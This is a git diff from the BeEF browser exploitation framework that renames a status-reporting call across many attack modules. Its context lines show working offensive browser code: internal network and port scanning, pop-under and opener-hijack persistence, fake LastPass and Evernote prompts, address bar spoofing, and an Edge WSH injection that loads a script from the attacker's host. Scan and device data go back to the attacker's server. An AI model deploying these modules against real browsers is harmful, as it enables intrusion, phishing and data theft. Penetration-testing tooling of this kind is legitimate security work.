beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.status.success());dom.removeChild(this); beef.debug("[Network Fingerprint] Found [" + signature_name + "] with URL [" + escape(this.src) + "]"); } } diff --git a/modules/network/jslanscanner/command.js b/modules/network/jslanscanner/command.js index a5353e8a7..2f400e774 100644 --- a/modules/network/jslanscanner/command.js +++ b/modules/network/jslanscanner/command.js @@ -9,7 +9,7 @@ beef.execute(function() { if(!beef.browser.isFF() && !beef.browser.isS()){ beef.debug("[command #<%= @command_id %>] Browser is not supported."); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error()); return; } @@ -354,12 +354,12 @@ beef.execute(function() { lanScanner.addHost = function(obj) { this.timeout = 0; beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.status.success()); lanScanner.fingerPrint(obj.host); } lanScanner.addDevice = function(obj) { beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.status.success()); } lanScanner.destroyConnections = function() { var guessesLen = guesses.length; diff --git a/modules/network/ping_sweep/command.js b/modules/network/ping_sweep/command.js index b18c1b27a..9c6a79a0f 100644 --- a/modules/network/ping_sweep/command.js +++ b/modules/network/ping_sweep/command.js @@ -12,7 +12,7 @@ beef.execute(function() { var timeout = 1000; if(!beef.browser.hasCors()) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error()); return; } @@ -41,7 +41,7 @@ beef.execute(function() { // set target IP range var range = rhosts.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error()); return; } ipBounds = rhosts.split('-'); @@ -96,7 +96,7 @@ beef.execute(function() { 'var duration = current_time - start_time;' + 'if (duration < '+timeout+') {' + 'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- host is up");' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.are.status_success());' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.status.success());' + '} else {' + 'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- timeout");' + '}' + diff --git a/modules/network/ping_sweep_ff/command.js b/modules/network/ping_sweep_ff/command.js index 34a27db37..1d088ab84 100644 --- a/modules/network/ping_sweep_ff/command.js +++ b/modules/network/ping_sweep_ff/command.js @@ -57,7 +57,7 @@ beef.execute(function() { if(ips.length>1) { var int_id = setInterval( function() { var host = do_scan(ips[i++],timeout); - if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success()); + if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.status.success()); if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); } }, delay); } else { diff --git a/modules/network/ping_sweep_java/command.js b/modules/network/ping_sweep_java/command.js index c0199c028..01c54a5e0 100644 --- a/modules/network/ping_sweep_java/command.js +++ b/modules/network/ping_sweep_java/command.js @@ -28,11 +28,11 @@ beef.execute(function() { output = document.pingSweep.getAliveHosts(); clearTimeout(int_timeout); clearTimeout(ext_timeout); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.status.success()); beef.dom.detachApplet('pingSweep'); return; }else{ - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.status.error()); return; } } catch (e) { diff --git a/modules/network/port_scanner/command.js b/modules/network/port_scanner/command.js index 9a6f7ad2a..e4e690cb6 100644 --- a/modules/network/port_scanner/command.js +++ b/modules/network/port_scanner/command.js @@ -166,7 +166,7 @@ beef.execute(function() { { known_service = "(" + default_services[port_] + ")"; } - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.status.success()); } } diff --git a/modules/persistence/confirm_close_tab/command.js b/modules/persistence/confirm_close_tab/command.js index 3fcbfbf6c..199d0d6b2 100644 --- a/modules/persistence/confirm_close_tab/command.js +++ b/modules/persistence/confirm_close_tab/command.js @@ -24,10 +24,10 @@ beef.execute(function() { try { window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); window.focus(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.status.success()); } catch(e) { beef.debug("[Create Pop-Under] Could not create pop-under window"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.status.error()); } } diff --git a/modules/persistence/hijack_opener/command.js b/modules/persistence/hijack_opener/command.js index 4477a8679..dd75e9d34 100644 --- a/modules/persistence/hijack_opener/command.js +++ b/modules/persistence/hijack_opener/command.js @@ -9,9 +9,9 @@ beef.execute(function() { try { beef.debug("[Hijack Opener] Trying to hijack: " + referrer); window.opener.location = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + '/iframe#' + referrer; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=hijacked window.opener.location", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=hijacked window.opener.location", beef.status.success()); } catch (e) { beef.debug("[Hijack Opener] could not hijack opener window: "+e.message) - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not hijack opener window: " + e.message, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not hijack opener window: " + e.message, beef.status.error()); } }); diff --git a/modules/persistence/invisible_htmlfile_activex/command.js b/modules/persistence/invisible_htmlfile_activex/command.js index 82cd70ace..122ff17ff 100644 --- a/modules/persistence/invisible_htmlfile_activex/command.js +++ b/modules/persistence/invisible_htmlfile_activex/command.js @@ -20,9 +20,9 @@ beef.execute(function() { // Prevent IE from destroying the previous reference window.open("","_self"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.status.success()); } catch (e) { beef.debug("[Invisible HTMLFile ActiveX] could not create HTMLFile ActiveX object: "+e.message) - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.status.error()); } }); diff --git a/modules/persistence/popunder_window/command.js b/modules/persistence/popunder_window/command.js index a17a3939b..923f48926 100644 --- a/modules/persistence/popunder_window/command.js +++ b/modules/persistence/popunder_window/command.js @@ -15,10 +15,10 @@ beef.execute(function() { try { window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); window.focus(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.status.success()); } catch(e) { beef.debug("[Create Pop-Under] Could not create pop-under window"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.status.error()); } if (document.removeEventListener) { diff --git a/modules/phonegap/phonegap_detect/command.js b/modules/phonegap/phonegap_detect/command.js index bbd2b48f1..ce823d4b7 100644 --- a/modules/phonegap/phonegap_detect/command.js +++ b/modules/phonegap/phonegap_detect/command.js @@ -19,8 +19,8 @@ beef.execute(function() { + " uuid: " + device.uuid + " version: " + device.version + " model: " + device.model; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap=" + phonegap_details, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap=" + phonegap_details, beef.status.success()); } catch(e) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unable to detect phonegap", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unable to detect phonegap", beef.status.error()); } }); diff --git a/modules/social_engineering/edge_wscript_wsh_injection/command.js b/modules/social_engineering/edge_wscript_wsh_injection/command.js index 1fbd28f66..c10b2e363 100755 --- a/modules/social_engineering/edge_wscript_wsh_injection/command.js +++ b/modules/social_engineering/edge_wscript_wsh_injection/command.js @@ -9,7 +9,7 @@ beef.execute(function(){ if (!beef.browser.isEdge()) { beef.debug("[Edge WScript WSH Injection] Browser is not supported."); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.status.error()); return; } @@ -19,7 +19,7 @@ beef.execute(function(){ wsh_iframe_<%= @command_id %>.setAttribute('src', 'wshfile:test/../../../../../../../Windows/System32/Printing_Admin_Scripts/' + navigator.language + '/pubprn.vbs" 127.0.0.1 script:' + beef_host + '/<%= @command_id %>/index.html'); } catch (e) { beef.debug("[Edge WScript WSH Injection] Could not create iframe"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.status.error()); return; } diff --git a/modules/social_engineering/fake_evernote_clipper/command.js b/modules/social_engineering/fake_evernote_clipper/command.js index 7b195a881..561df007c 100755 --- a/modules/social_engineering/fake_evernote_clipper/command.js +++ b/modules/social_engineering/fake_evernote_clipper/command.js @@ -26,7 +26,7 @@ beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { beef.debug('[Fake Evernote Clipper] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.status.error()); } }); diff --git a/modules/social_engineering/fake_lastpass/command.js b/modules/social_engineering/fake_lastpass/command.js index 9978e53ae..ef3d3f5d9 100755 --- a/modules/social_engineering/fake_lastpass/command.js +++ b/modules/social_engineering/fake_lastpass/command.js @@ -26,7 +26,7 @@ beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { beef.debug('[Fake LastPass] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.status.error()); } // $j('body').append("<div id='lp_login_dia' style='width:375px; height:415px; position: fixed; right: 0px; top: 0px; z-index: "+beef.dom.getHighestZindex()+1+"; border: 1px solid white; overflow: hidden; display: none'></div>"); diff --git a/modules/social_engineering/fake_notification_c/command.js b/modules/social_engineering/fake_notification_c/command.js index 2425d7479..8b872e811 100644 --- a/modules/social_engineering/fake_notification_c/command.js +++ b/modules/social_engineering/fake_notification_c/command.js @@ -29,8 +29,8 @@ beef.execute(function() { }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.status.success()); }); - return [beef.are.status_success(), 'Notification has been displayed']; + return [beef.status.success(), 'Notification has been displayed']; }); diff --git a/modules/social_engineering/spoof_addressbar_data/command.js b/modules/social_engineering/spoof_addressbar_data/command.js index db9338acd..183b73cea 100644 --- a/modules/social_engineering/spoof_addressbar_data/command.js +++ b/modules/social_engineering/spoof_addressbar_data/command.js @@ -13,7 +13,7 @@ beef.execute(function() { beef.debug("[Spoof Address Bar (data)] Redirecting to data URL..."); } catch (e) { beef.debug("[Spoof Address Bar (data)] could not redirect: "+e.message) - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=something went horribly wrong: " + e.message, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=something went horribly wrong: " + e.message, beef.status.error()); } }); diff --git a/modules/social_engineering/text_to_voice/command.js b/modules/social_engineering/text_to_voice/command.js index 1f10887c0..a524fe147 100644 --- a/modules/social_engineering/text_to_voice/command.js +++ b/modules/social_engineering/text_to_voice/command.js @@ -11,10 +11,10 @@ beef.execute(function() { var sound = new Audio(url); sound.play(); beef.debug('[Text to Voice] Playing mp3: ' + url); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.status.success()); } catch (e) { beef.debug("[Text to Voice] HTML5 audio unsupported. Could not play: " + url); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.status.error()); } });